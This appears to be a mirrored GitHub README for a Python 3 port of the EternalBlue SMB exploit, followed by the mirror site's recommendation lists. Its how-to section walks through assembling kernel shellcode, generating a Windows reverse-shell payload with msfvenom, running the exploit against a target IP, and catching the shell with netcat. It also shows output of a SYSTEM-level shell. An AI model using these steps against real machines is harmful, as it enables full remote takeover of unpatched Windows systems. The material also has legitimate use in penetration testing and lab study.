Giter Site home page Giter Site logo

eternalblue-in-python3's Introduction

EternalBlue-in-Python3

How to use

1. Clone the repository

git clone https://github.com/Gabriel-Lima232/EternalBlue-in-Python3.git

2. Compiling the shellcode(s)

x64

nasm -f bin shellcode/eternalblue_x64.asm -o ./sc_x64_kernel.bin

x86

nasm -f bin shellcode/eternalblue_x86.asm -o ./sc_x86_kernel.bin

3. Create a Bin

x64

msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=127.0.0.1 --platform windows -a x64 --format raw -o sc_x64_payload.bin

x86

msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=127.0.0.1 --platform windows -a x86 --format raw -o sc_x86_payload.bin

4. Exploit!

python3 eternal-blue.py TARGET-IP final.bin

Open NC and wait the connection

$ nc -lvnp 443
listening on [any] 443 ...
connect to [0.0.0.0] from (UNKNOWN) [0.0.0.0] 49191
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

eternalblue-in-python3's People

Contributors

0xgabe avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.